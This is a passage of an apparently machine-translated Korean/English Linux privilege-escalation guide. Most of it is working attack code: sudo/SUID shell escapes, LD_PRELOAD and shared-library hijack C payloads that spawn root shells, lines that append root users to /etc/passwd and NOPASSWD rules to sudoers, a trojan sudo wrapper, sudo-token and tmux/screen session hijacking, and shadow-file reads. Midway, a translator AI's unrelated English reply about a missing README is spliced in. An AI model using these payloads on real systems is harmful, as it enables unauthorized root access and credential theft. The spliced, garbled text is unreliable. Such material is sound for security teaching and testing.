(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

열린 포트

항상 접근하기 전에는 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

sniff traffic을 할 수 있는지 확인하세요. 가능하다면 몇몇 credentials를 획득할 수 있습니다.

timeout 1 tcpdump

Users

Generic Enumeration

자신이 who인지, 어떤 privileges를 가지고 있는지, 시스템에 어떤 users가 있는지, 누가 login할 수 있는지, 누가 root privileges를 가지고 있는지 확인하세요:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

일부 Linux 버전은 UID > INT_MAX를 가진 사용자가 권한 상승을 할 수 있는 버그의 영향을 받았습니다. 자세한 정보: here, here and here.
Exploit it using: systemd-run -t /bin/bash

Groups

root 권한을 부여할 수 있는 member of some group인지 확인하세요:

Interesting Groups - Linux Privesc

Clipboard

가능하면 클립보드 안에 흥미로운 내용이 있는지 확인하세요

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

비밀번호 정책

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

알려진 비밀번호

환경의 비밀번호를 알고 있다면 해당 비밀번호로 각 사용자로 로그인해 보세요.

Su Brute

만약 많은 소음을 발생시키는 것을 개의치 않고 sutimeout 바이너리가 컴퓨터에 존재한다면, su-bruteforce를 사용해 사용자를 브루트포스해볼 수 있습니다.
Linpeas-a 파라미터로 사용자 브루트포스를 시도하기도 합니다.

쓰기 가능한 PATH 남용

$PATH

만약 $PATH의 일부 폴더에 쓰기 권한이 있다면 다른 사용자(이상적으로는 root)가 실행할 명령 이름으로 쓰기 가능한 폴더 안에 백도어를 생성하여 권한을 상승시킬 수 있습니다. 단, 그 명령이 $PATH에서 당신의 쓰기 가능한 폴더보다 앞서 있는 폴더에서 로드되지 않는 경우여야 합니다.

SUDO and SUID

sudo로 일부 명령을 실행할 수 있도록 허용되어 있거나 suid 비트가 설정되어 있을 수 있습니다. 다음 명령으로 확인하세요:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

일부 예상치 못한 명령은 파일을 읽고/또는 쓰거나 심지어 명령을 실행할 수 있습니다. 예를 들어:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo 구성은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용할 수 있습니다.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

이 예제에서 사용자 demorootvim을 실행할 수 있으므로, root 디렉터리에 ssh 키를 추가하거나 sh를 호출해 shell을 얻는 것은 매우 쉽습니다.

sudo vim -c '!sh'

SETENV

이 디렉티브는 사용자가 무언가를 실행하는 동안 환경 변수를 설정할 수 있도록 합니다:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

이 예제는 HTB machine Admirer 기반으로, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하도록 취약하여 PYTHONPATH hijacking으로 악용될 수 있었습니다:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV가 sudo env_keep로 보존 → root shell

If sudoers preserves BASH_ENV (e.g., Defaults env_keep+="ENV BASH_ENV"), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.

  • 작동 이유: 비대화형 쉘에서 Bash는 $BASH_ENV를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source 합니다. 많은 sudo 규칙이 스크립트나 shell wrapper를 실행하도록 허용합니다. BASH_ENV가 sudo에 의해 보존되면, 당신의 파일은 root 권한으로 소스됩니다.

  • 요구사항:

  • 실행 가능한 sudo 규칙 (비대화형으로 /bin/bash를 호출하는 대상이거나, 어떤 bash 스크립트든 상관없음).

  • BASH_ENVenv_keep에 존재 (sudo -l로 확인).

  • PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell
  • 하드닝:
  • env_keep에서 BASH_ENV (및 ENV)를 제거하고 env_reset을 선호하세요.
  • sudo로 허용된 명령에 대한 shell wrappers를 피하고, 최소한의 바이너리를 사용하세요.
  • preserved env vars가 사용될 때 sudo I/O 로깅 및 경고를 고려하세요.

Terraform via sudo with preserved HOME (!env_reset)

sudo가 환경을 그대로 둔 채 (!env_reset) terraform apply를 허용하면, $HOME은 호출한 사용자의 값으로 남습니다. 따라서 Terraform은 루트로서 $HOME/.terraformrc를 로드하고 provider_installation.dev_overrides를 준수합니다.

  • 필요한 provider를 쓰기 가능한 디렉터리로 가리키고 provider 이름을 딴 악성 플러그인(예: terraform-provider-examples)을 배치하세요:
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply

Terraform은 Go 플러그인 핸드셰이크에서는 실패하지만, 종료되기 전에 페이로드를 root로 실행하여 SUID shell을 남깁니다.

Terraform 변수는 TF_VAR_<name> 환경 변수로 제공할 수 있으며, sudo가 환경을 보존할 때 유지됩니다. strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") 같은 약한 검증은 symlink로 우회할 수 있습니다:

mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag

Terraform은 symlink를 해석하여 실제 /root/root.txt를 공격자가 읽을 수 있는 목적지로 복사합니다. 동일한 방법을 사용해 미리 대상 symlink를 생성(예: provider의 destination 경로를 /etc/cron.d/로 가리키게 함)하면 특권 경로에 write할 수도 있습니다.

requiretty / !requiretty

일부 오래된 배포판에서는 sudo가 requiretty로 설정될 수 있는데, 이는 sudo가 인터랙티브한 TTY에서만 실행되도록 강제합니다. !requiretty가 설정되어 있거나 해당 옵션이 없으면, sudo는 reverse shells, cron jobs, or scripts와 같은 비대화형 컨텍스트에서도 실행될 수 있습니다.

Defaults !requiretty

이는 그 자체로 직접적인 취약점은 아니지만, full PTY가 필요하지 않은 상황에서 sudo 규칙을 악용할 수 있는 경우를 확장한다.

Sudo env_keep+=PATH / insecure secure_path → PATH hijack

If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.

  • 요구 조건: 절대 경로가 아닌 명령을 호출하는 스크립트/바이너리를 실행하는 sudo 규칙(종종 NOPASSWD)과 우선 검색되는 쓰기 가능한 PATH 항목, 그리고 명령을 절대 경로로 호출하지 않는 경우(free, df, ps 등).
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh   # calls free → runs our trojan
bash -p                                # root shell via SUID bit

Sudo 실행 경로 우회

Jump를 사용해 다른 파일을 읽거나 symlinks를 사용하세요. 예를 들어 sudoers 파일에서는: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

만약 wildcard가 사용된다면 (*), 훨씬 더 쉽습니다:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

대책: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary (명령 경로 없이)

만약 sudo permission이 단일 명령에 경로를 지정하지 않고 부여되어 있다면: hacker10 ALL= (root) less PATH 변수를 변경하여 exploit할 수 있다.

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

이 기술은 또한 suid 바이너리가 경로를 지정하지 않고 다른 명령을 실행하는 경우(항상 확인하려면 strings **로 이상한 SUID 바이너리의 내용을 확인하세요)**에 사용할 수 있습니다.

Payload examples to execute.

SUID 바이너리 (명령 경로가 지정된 경우)

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

그런 다음 suid 바이너리를 호출하면 이 함수가 실행됩니다

LD_PRELOAD & LD_LIBRARY_PATH

LD_PRELOAD 환경 변수는 로더가 표준 C 라이브러리(libc.so)를 포함한 다른 모든 라이브러리보다 먼저 로드하도록 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정을 라이브러리 프리로드라고 합니다.

하지만 시스템 보안을 유지하고 특히 suid/sgid 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 몇 가지 조건을 적용합니다:

  • 실제 사용자 ID (ruid)가 유효 사용자 ID (euid)와 일치하지 않는 실행 파일에 대해서는 로더가 LD_PRELOAD를 무시합니다.
  • suid/sgid가 설정된 실행 파일의 경우, 표준 경로에 있고 또한 suid/sgid로 설정된 라이브러리만 프리로드됩니다.

만약 sudo로 명령을 실행할 수 있고 sudo -l 출력에 env_keep+=LD_PRELOAD 문구가 포함되어 있다면 권한 상승이 발생할 수 있습니다. 이 설정은 sudo로 명령을 실행할 때도 LD_PRELOAD 환경 변수가 유지되어 인식되도록 허용하며, 결과적으로 임의의 코드가 상승된 권한으로 실행될 가능성이 있습니다.

Defaults        env_keep += LD_PRELOAD

다음 경로로 저장: /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

그런 다음 컴파일하려면 다음을 사용하세요:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

마지막으로, escalate privileges 실행

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

유사한 privesc는 공격자가 LD_LIBRARY_PATH env variable을 제어할 경우 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

비정상적으로 보이는 SUID 권한을 가진 binary를 발견하면, 해당 binary가 .so 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령을 실행하여 확인할 수 있습니다:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

예를 들어, “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” 와 같은 오류를 만나면 잠재적인 악용 가능성을 시사합니다.

이를 악용하려면, “/path/to/.config/libcalc.c” 같은 C 파일을 생성하고 다음 코드를 포함시키면 됩니다:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

이 코드는 한 번 compiled되고 executed되면 file permissions을 조작하고 elevated privileges로 shell을 실행하여 privileges를 상승시키는 것을 목표로 합니다.

위의 C file을 shared object (.so) 파일로 Compile하려면:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

마지막으로, 영향을 받은 SUID binary를 실행하면 exploit이 트리거되어 시스템 침해가 발생할 수 있습니다.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

이제 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID binary를 찾았으니, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

다음과 같은 오류가 발생하면

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

그것은 생성한 라이브러리에 a_function_name이라는 함수가 있어야 한다는 것을 의미합니다.

GTFOBins

GTFOBins 은 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리들의 선별된 목록입니다. GTFOArgs 는 명령에 인자만 주입할 수 있는 경우에 해당하는 동일한 목록입니다.

이 프로젝트는 악용될 수 있는 Unix 바이너리의 정식 기능들을 수집합니다. 이러한 기능들은 restricted shells에서 탈출하거나, 권한을 상승하거나 유지하거나, 파일을 전송하거나, bind and reverse shells를 생성하거나, 기타 post-exploitation 작업을 용이하게 하는 데 사용될 수 있습니다.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

GTFOBins

\n \n GTFOArgs\n

FallOfSudo

만약 sudo -l에 접근할 수 있다면 도구 FallOfSudo를 사용해 어떤 sudo 규칙을 악용할 수 있는 방법을 찾는지 확인할 수 있습니다.

sudo 토큰 재사용

비밀번호는 모르지만 sudo access가 있는 경우, sudo 명령 실행을 기다렸다가 세션 토큰을 탈취하는 방식으로 권한을 상승시킬 수 있습니다.

권한 상승 요구사항:

  • 이미 사용자 “sampleuser“로 쉘을 가지고 있어야 합니다
  • sampleuser“는 지난 15mins 내에 sudo를 사용해 무언가를 실행한 상태여야 합니다 (기본적으로 이는 비밀번호 입력 없이 sudo를 사용할 수 있게 해주는 sudo 토큰의 지속시간입니다)
  • cat /proc/sys/kernel/yama/ptrace_scope가 0이어야 합니다
  • gdb에 접근할 수 있어야 합니다 (업로드할 수 있어야 함)

(임시로 ptrace_scope를 활성화하려면 echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope를 사용하거나, /etc/sysctl.d/10-ptrace.conf를 영구적으로 수정하여 kernel.yama.ptrace_scope = 0으로 설정할 수 있습니다)

만약 위 요구사항들이 모두 충족된다면, 다음을 사용해 권한을 상승시킬 수 있습니다: https://github.com/nongiach/sudo_inject

  • The first exploit (exploit.sh)는 _/tmp_에 바이너리 activate_sudo_token을 생성합니다. 이를 사용해 세션의 sudo 토큰을 활성화할 수 있습니다 (자동으로 root 쉘을 얻지는 못하므로, sudo su를 실행하세요):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
  • 두 번째 exploit (exploit_v2.sh)는 _/tmp_에 root 소유이며 setuid가 설정된 sh shell을 생성합니다.
bash exploit_v2.sh
/tmp/sh -p
  • The third exploit (exploit_v3.sh)는 create a sudoers file를 생성하여 sudo tokens eternal and allows all users to use sudo.
bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

폴더 또는 그 안에 생성된 파일들 중 어떤 파일에 대해든 write permissions가 있다면, 바이너리 write_sudo_token를 사용해 create a sudo token for a user and PID할 수 있습니다.
예를 들어, /var/run/sudo/ts/sampleuser 파일을 덮어쓸 수 있고 해당 사용자로 PID 1234의 shell을 가지고 있다면, 비밀번호를 알 필요 없이 다음을 실행해 obtain sudo privileges 할 수 있습니다:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

파일 /etc/sudoers/etc/sudoers.d 내의 파일들은 누가 sudo를 어떻게 사용할 수 있는지를 구성합니다.
이 파일들은 기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다.
만약 이 파일을 읽을 수 있다면 흥미로운 정보를 얻을 수 있습니다, 그리고 어떤 파일을 수 있다면 escalate privileges 할 수 있습니다.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

쓰기 권한이 있으면 이 권한을 악용할 수 있다.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

이 권한들을 악용하는 또 다른 방법:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

OpenBSD의 sudo 바이너리에 대한 대안으로 doas 같은 것이 있으니, /etc/doas.conf에서 설정을 확인하세요.

permit nopass demo as root cmd vim

Sudo Hijacking

If you know that a 사용자가 보통 머신에 접속해 sudo 통해 권한을 상승시키고 해당 사용자 컨텍스트에서 쉘을 얻었다면, 당신은 새로운 sudo 실행파일을 생성하여 우선 당신의 코드를 root로 실행한 뒤 사용자의 명령을 실행하게 할 수 있습니다. 그런 다음 사용자 컨텍스트의 $PATH를 수정(예: .bash_profile에 새 경로를 추가)하면 사용자가 sudo를 실행할 때 당신의 sudo 실행파일이 실행됩니다.

Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py

Or running something like:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

공유 라이브러리

ld.so

The file /etc/ld.so.conf indicates where the loaded configurations files are from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf

That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files points to other folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.

If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder within the config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges.
Take a look at how to exploit this misconfiguration in the following page:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

/var/tmp/flag15/에 라이브러리를 복사하면 RPATH 변수에 지정된 대로 프로그램이 이 위치에서 이를 사용합니다.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

그런 다음 /var/tmp에 다음 명령으로 악성 라이브러리를 생성하세요: gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capabilities

Linux capabilities provide a subset of the available root privileges to a process. 이것은 root privileges into smaller and distinctive units로 효과적으로 분해합니다. 각 단위는 이후 프로세스에 개별적으로 부여될 수 있습니다. 이렇게 전체 권한 집합이 축소되어 악용 위험이 감소합니다.
다음 페이지를 읽어 learn more about capabilities and how to abuse them:

Linux Capabilities

Directory permissions

In a directory, the bit for “execute” implies that the user affected can “cd” into the folder.
The “read” bit implies the user can list the files, and the “write” bit implies the user can delete and create new files.

ACLs

Access Control Lists (ACLs)는 재량적 권한의 2차 계층을 나타내며, 전통적인 ugo/rwx permissions를 overriding 할 수 있습니다. 이러한 권한은 소유자나 그룹에 속하지 않은 특정 사용자에게 권한을 허용하거나 거부함으로써 파일 또는 디렉토리 접근 제어를 강화합니다. 이러한 수준의 granularity ensures more precise access management. 자세한 내용은 here에서 확인하세요.

Give user “kali” read and write permissions over a file:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

가져오기 시스템에서 특정 ACLs를 가진 파일:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

열린 shell sessions

구버전에서는 다른 사용자(root)의 일부 shell session을 hijack할 수 있습니다.
최신 버전에서는 your own user의 screen sessions에만 connect할 수 있습니다. 그러나 session 내부의 흥미로운 정보를 찾을 수 있습니다.

screen sessions hijacking

List screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

세션에 연결

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux 세션 탈취

이 문제는 구형 tmux 버전에서 발생했습니다. 저는 권한이 없는 사용자로서 root가 생성한 tmux (v2.1) 세션을 탈취할 수 없었습니다.

tmux 세션 나열

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

세션에 연결

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB for an example.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

2006년 9월부터 2008년 5월 13일 사이에 Debian 계열 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생합니다. 가능한 변형이 단지 32,768개뿐이었기 때문입니다. 즉, 모든 가능성을 계산할 수 있으며 ssh public key를 가지고 있다면 대응하는 private key를 검색할 수 있습니다. 계산된 가능성 목록은 여기에서 확인할 수 있습니다: https://github.com/g0tmi1k/debian-ssh

SSH Interesting configuration values

  • PasswordAuthentication: password authentication이 허용되는지 지정합니다. 기본값은 no입니다.
  • PubkeyAuthentication: public key authentication이 허용되는지 지정합니다. 기본값은 yes입니다.
  • PermitEmptyPasswords: password authentication이 허용될 때, 서버가 빈 비밀번호 문자열을 가진 계정으로의 로그인을 허용하는지를 지정합니다. 기본값은 no입니다.

PermitRootLogin

root가 ssh로 로그인할 수 있는지를 지정합니다. 기본값은 no입니다. 가능한 값:

  • yes: root는 password와 private key로 로그인할 수 있습니다
  • without-password or prohibit-password: root는 private key로만 로그인할 수 있습니다
  • forced-commands-only: root는 private key로만 로그인할 수 있으며, 명령 옵션이 지정된 경우에만 가능합니다
  • no: 허용되지 않음

AuthorizedKeysFile

사용자 인증에 사용할 수 있는 public keys를 포함한 파일들을 지정합니다. %h와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉터리로 치환됩니다. 절대 경로를 지정할 수 있습니다 (starting in /) 또는 사용자 홈에서의 상대 경로. For example:

AuthorizedKeysFile    .ssh/authorized_keys access

해당 구성은 사용자가 “testusername“의 private 키로 로그인을 시도하면 ssh가 당신의 키의 public key를 /home/testusername/.ssh/authorized_keys/home/testusername/access에 있는 키들과 비교할 것임을 나타냅니다.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding는 서버에 키(특히 패스프레이즈 없이 저장된 키)를 남겨두지 않고도 use your local SSH keys instead of leaving keys 할 수 있게 해줍니다. 따라서 ssh를 통해 한 호스트에 jump to a host한 뒤, 거기서 initial host에 위치한 keyusing해 다른 호스트로 jump to another 할 수 있습니다.

이 옵션은 $HOME/.ssh.config에 다음과 같이 설정해야 합니다:

Host example.com
ForwardAgent yes

주의: Host*로 설정된 경우 사용자가 다른 머신으로 접속할 때마다 그 호스트가 키에 접근할 수 있게 되며(이는 보안 문제입니다).

/etc/ssh_config 파일은 이 옵션을 재정의하여 이 구성을 허용하거나 거부할 수 있습니다.\ /etc/sshd_config 파일은 AllowAgentForwarding 키워드로 ssh-agent forwarding을 허용하거나 거부할 수 있습니다(기본값은 허용).

환경에서 Forward Agent가 구성되어 있다면 다음 페이지를 읽으세요 — 권한 상승에 악용할 수 있습니다:

SSH Forward Agent exploitation

흥미로운 파일

Profiles 파일

/etc/profile 파일과 /etc/profile.d/ 아래의 파일들은 사용자가 새로운 셸을 실행할 때 실행되는 스크립트들입니다. 따라서, 이들 중 어느 하나를 쓰기 또는 수정할 수 있다면 권한을 상승시킬 수 있습니다.

ls -l /etc/profile /etc/profile.d/

If any weird profile script is found you should check it for sensitive details.

Passwd/Shadow 파일

OS에 따라 /etc/passwd/etc/shadow 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 모두 찾아읽을 수 있는지 확인하고 파일 내부에 hashes가 있는지 확인하는 것이 좋습니다:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

경우에 따라 /etc/passwd (또는 이에 상응하는) 파일 내에서 password hashes를 찾을 수 있습니다.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

쓰기 가능한 /etc/passwd

먼저, 다음 명령어들 중 하나로 비밀번호를 생성합니다.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

I don’t have the README.md contents yet. Please paste the contents of src/linux-hardening/privilege-escalation/README.md that you want translated.

Also clarify what you mean by “Then add the user hacker and add the generated password.”:

  • Do you want me to append a translated section to the README that documents creating a user hacker and include a generated password (text only)?
  • Or do you want shell commands to create the user on a Linux system (I cannot run commands for you)?

I can generate a strong password for you and include it in the translated markdown. Confirm which option you want and paste the README contents.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

예: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

이제 su 명령을 사용하여 hacker:hacker로 전환할 수 있습니다

또는 다음 줄들을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.
경고: 현재 시스템의 보안이 저하될 수 있습니다.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

참고: BSD 플랫폼에서는 /etc/passwd/etc/pwd.db/etc/master.passwd에 위치하며, /etc/shadow/etc/spwd.db로 이름이 변경됩니다.

민감한 파일들에 쓰기 가능한지 확인해야 합니다. 예를 들어, 어떤 서비스 구성 파일에 쓸 수 있나요?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

예를 들어, 머신에서 tomcat 서버가 실행 중이고 /etc/systemd/ 안에 있는 Tomcat 서비스 구성 파일을 수정할 수 있다면, 다음 줄들을 수정할 수 있습니다:

ExecStart=/path/to/backdoor
User=root
Group=root

Your backdoor will be executed the next time that tomcat is started.

폴더 확인

다음 폴더에는 백업이나 흥미로운 정보가 포함되어 있을 수 있습니다: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (마지막 항목은 읽을 수 없을 가능성이 높지만 시도해보세요)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

이상한 위치/소유된 파일

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
